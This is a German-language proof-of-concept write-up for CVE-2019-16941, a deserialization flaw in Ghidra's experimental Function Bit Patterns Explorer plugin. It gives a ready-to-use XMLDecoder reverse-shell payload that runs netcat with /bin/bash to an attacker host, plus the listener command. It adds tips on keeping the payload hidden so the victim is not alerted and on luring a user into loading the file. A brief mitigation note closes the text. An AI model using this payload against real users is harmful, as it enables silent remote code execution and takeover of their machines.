
PoC für CVE-2019-16941
Proof-of-Concept:
Die Schwachstelle erfordert mehrere und relativ unwahrscheinliche Bedingungen, um ausgelöst zu werden, was ihre Ausnutzbarkeit einschränkt. Allerdings erfordert es wenig Aufwand und Verständnis, um einen Payload vorzubereiten, da dies zu einer beliebigen Codeausführung führen kann.
Erstellen des Payloads:
Um einen Payload zu erstellen, den das Ziel ausführen soll, kann ein in Ghidra integriertes Skript verwendet werden. Um darauf zuzugreifen, klicken Sie auf "Window" -> "Script Manager" und führen Sie "DumpFunctionPatternInfoScript.java" mit den Standardparametern auf einer beliebigen Binärdatei aus, die Sie in den Code Browser aufgenommen haben (stellen Sie jedoch sicher, dass der Pfad zu dem Ordner, in dem Sie die Ausgabe speichern möchten, existiert). Dieses Skript erzeugt eine XML-Ausgabedatei, die anschließend in die verwundbare Komponente geladen wird.

Diese XML-Vorlage kann verwendet werden, um das Objekt einzuschleusen, das als Java-Code deserialisiert und still ausgeführt wird, ohne den Benutzer zu alarmieren. Im Wesentlichen wird der schädliche Code als zusätzliches Objekt am Ende der XML-Datei vor dem schließenden -Tag eingefügt. Ein Beispiel für einen Objekt-Payload, der eine Reverse Shell darstellt, ist das Folgende:
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
Das oben Genannte wird in den folgenden Java-Code deserialisiert:
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
Die Möglichkeiten sind hinsichtlich des Payloads unbegrenzt, da auf diese Weise jeder Java-Code (auch ausgefeilte Schadsoftware) ausgeführt werden kann, solange er korrekt in das von XMLDecoder geforderte XML-Format serialisiert wird. Vorsicht ist geboten, wenn der Payload an einer anderen Stelle in der Vorlage eingefügt wird (um ihn weiter zu verstecken), da dies während der Deserialisierung Ausnahmen erzeugen und so den Benutzer alarmieren könnte.
Ausführung:
Der Prozess, durch den der Payload ausgeführt wird, nutzt die Ghidra-GUI und kann nicht automatisiert werden. Stattdessen erfordert er menschliche Interaktion durch das Opfer, was eine weitere Bedingung für die Ausführung des Exploits darstellt.
Damit dieser Exploit auf dem Computer des Opfers funktioniert, muss in Ghidra das experimentelle Plugin "FunctionBitPatternsExplorer" aktiviert sein. Dies kann durch die folgenden Schritte erreicht werden:

Als Nächstes muss der Benutzer das Plugin über "Window" -> "Function Bit Patterns Explorer" öffnen und die XML-Datei mithilfe der Funktion "Read XML Files" laden. Dies stellt jedoch eine weitere Hürde für die Bedingungen dar. Der Angreifer benötigt eine Möglichkeit, den Benutzer dazu zu bringen, den XML-Payload auf seinen Rechner herunterzuladen.
Aus der Perspektive des Opfers: Die Funktion zeigt die XML-Dateien nicht in der Liste an. Wenn Ihr Verzeichnis also leer aussieht, ist das normal. Wenn Sie ihren Namen in das Textfeld "File name" einzutippen beginnen, werden sie angezeigt. Es ist jedoch wichtig, keine davon auszuwählen und den Selektor auf das Verzeichnis zeigen zu lassen, da es die Dateien von selbst auswählt.

Bevor der Benutzer auf "OK" klickt, muss der Angreifer (joe) einen Listener auf seinem entfernten Host ausführen und auf die Verbindung warten. Dies kann einfach mit folgendem Befehl erreicht werden:
$ nc -lvnp <listening_port>
Nach der Ausführung sind die Ergebnisse unten zu sehen:

Die Schwachstelle ist aufgrund der Vielzahl der damit verbundenen Bedingungen höchstwahrscheinlich nicht in großem Umfang ausnutzbar. Bis ein neuer Patch bereitgestellt wird, bestehen die besten Abhilfemaßnahmen darin, das betroffene experimentelle Plugin zu deaktivieren (oder es von vornherein nicht zu aktivieren). Falls das Plugin jedoch verwendet werden muss, sollten die XML-Dateien aus einer vertrauenswürdigen Quelle stammen.